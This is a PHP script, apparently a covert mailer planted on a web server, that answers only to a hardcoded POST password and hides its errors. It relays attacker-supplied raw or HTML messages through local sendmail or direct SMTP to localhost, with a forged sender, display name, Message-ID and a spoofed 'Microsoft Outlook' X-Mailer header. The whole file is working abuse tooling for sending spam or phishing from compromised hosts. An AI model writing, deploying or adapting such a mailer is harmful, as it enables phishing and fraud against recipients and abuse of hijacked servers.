<?php
error_reporting(0);
$K='sm_sppb_v3';
if(($_POST['k']??'')!==$K)die('');
if(isset($_POST['raw'])&&$_POST['raw']!=''){
$r=$_POST['raw'];$f=$_POST['from']??'';$t=$_POST['to']??'';
$sm=null;foreach(['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $s){if(@file_exists($s)){$sm=$s;break;}}
if(!$sm){$x=@trim(@shell_exec('which sendmail 2>/dev/null'));if($x&&@file_exists($x))$sm=$x;}
if($sm){$p=@popen($sm.' -t -i -f'.escapeshellarg($f),'w');if($p){fwrite($p,$r);$c=pclose($p);if($c===0){echo 'SENT_OK';exit;}}}
foreach(['127.0.0.1','localhost'] as $h){$sk=@fsockopen($h,25,$en,$es,5);if(!$sk)continue;$hn=@gethostname()?:'localhost';@fgets($sk,512);fwrite($sk,"EHLO $hn\r\n");do{$el=@fgets($sk,512);}while($el&&substr($el,3,1)==='-');fwrite($sk,"MAIL FROM:<$f>\r\n");@fgets($sk,512);fwrite($sk,"RCPT TO:<$t>\r\n");$x=@fgets($sk,512);if(substr($x,0,1)!=='2'){@fclose($sk);continue;}fwrite($sk,"DATA\r\n");@fgets($sk,512);$w=str_replace("\r\n","\n",$r);$w=str_replace("\n","\r\n",$w);fwrite($sk,$w."\r\n.\r\n");$x=@fgets($sk,512);fwrite($sk,"QUIT\r\n");@fclose($sk);if(substr($x,0,1)==='2'){echo 'SENT_SMTP';exit;}}
echo 'PIPE_FAIL';exit;}
$t=$_POST['to']??'';$f=$_POST['from']??'';$fn=$_POST['fn']??'';$s=$_POST['subj']??'';$h=$_POST['html']??'';
if(!$t||!$f||!$s||!$h)die('ERR:MISSING');
$b='----=_'.bin2hex(random_bytes(12));$uid=bin2hex(random_bytes(6));$dom=explode('@',$f)[1]??'mail.com';
$hdr="From: \"$fn\" <$f>\n";$hdr.="Reply-To: $f\n";$hdr.="MIME-Version: 1.0\n";$hdr.="Content-Type: multipart/alternative; boundary=\"$b\"\n";$hdr.="X-Mailer: Microsoft Outlook 16.0\n";$hdr.="Message-ID: <$uid@$dom>\n";
$p=strip_tags(preg_replace('/<style[^>]*>.*?<\/style>/si','',$h));$p=trim(substr(preg_replace('/\s+/',' ',$p),0,400));
$body="--$b\n";$body.="Content-Type: text/plain; charset=\"utf-8\"\n";$body.="Content-Transfer-Encoding: quoted-printable\n\n";$body.=quoted_printable_encode($p)."\n";$body.="--$b\n";$body.="Content-Type: text/html; charset=\"utf-8\"\n";$body.="Content-Transfer-Encoding: quoted-printable\n\n";$body.=quoted_printable_encode($h)."\n";$body.="--$b--\n";
$ok=@mail($t,$s,$body,$hdr,"-f$f");if($ok){echo 'SENT_OK';exit;}
$sk=@fsockopen('127.0.0.1',25,$en,$es,5);if(!$sk){$sk=@fsockopen('localhost',25,$en,$es,5);}if(!$sk){echo 'SEND_FAIL';exit;}
function sr($sk,$c){fwrite($sk,$c."\r\n");return fgets($sk,512);}$hn=@gethostname()?:'localhost';fgets($sk,512);sr($sk,"EHLO $hn");while(substr(fgets($sk,512),3,1)==='-'){}sr($sk,"MAIL FROM:<$f>");$r=sr($sk,"RCPT TO:<$t>");if(substr($r,0,1)!=='2'){fclose($sk);echo 'SEND_FAIL';exit;}sr($sk,"DATA");$msg="Date: ".date('r')."\r\n";$msg.=str_replace("\n","\r\n",$hdr);$msg.="To: $t\r\n";$msg.="Subject: $s\r\n";$msg.="\r\n".str_replace("\n","\r\n",$body);fwrite($sk,$msg."\r\n.\r\n");$r=fgets($sk,512);sr($sk,"QUIT");fclose($sk);echo(substr($r,0,1)==='2')?'SENT_SMTP':'SEND_FAIL';
?>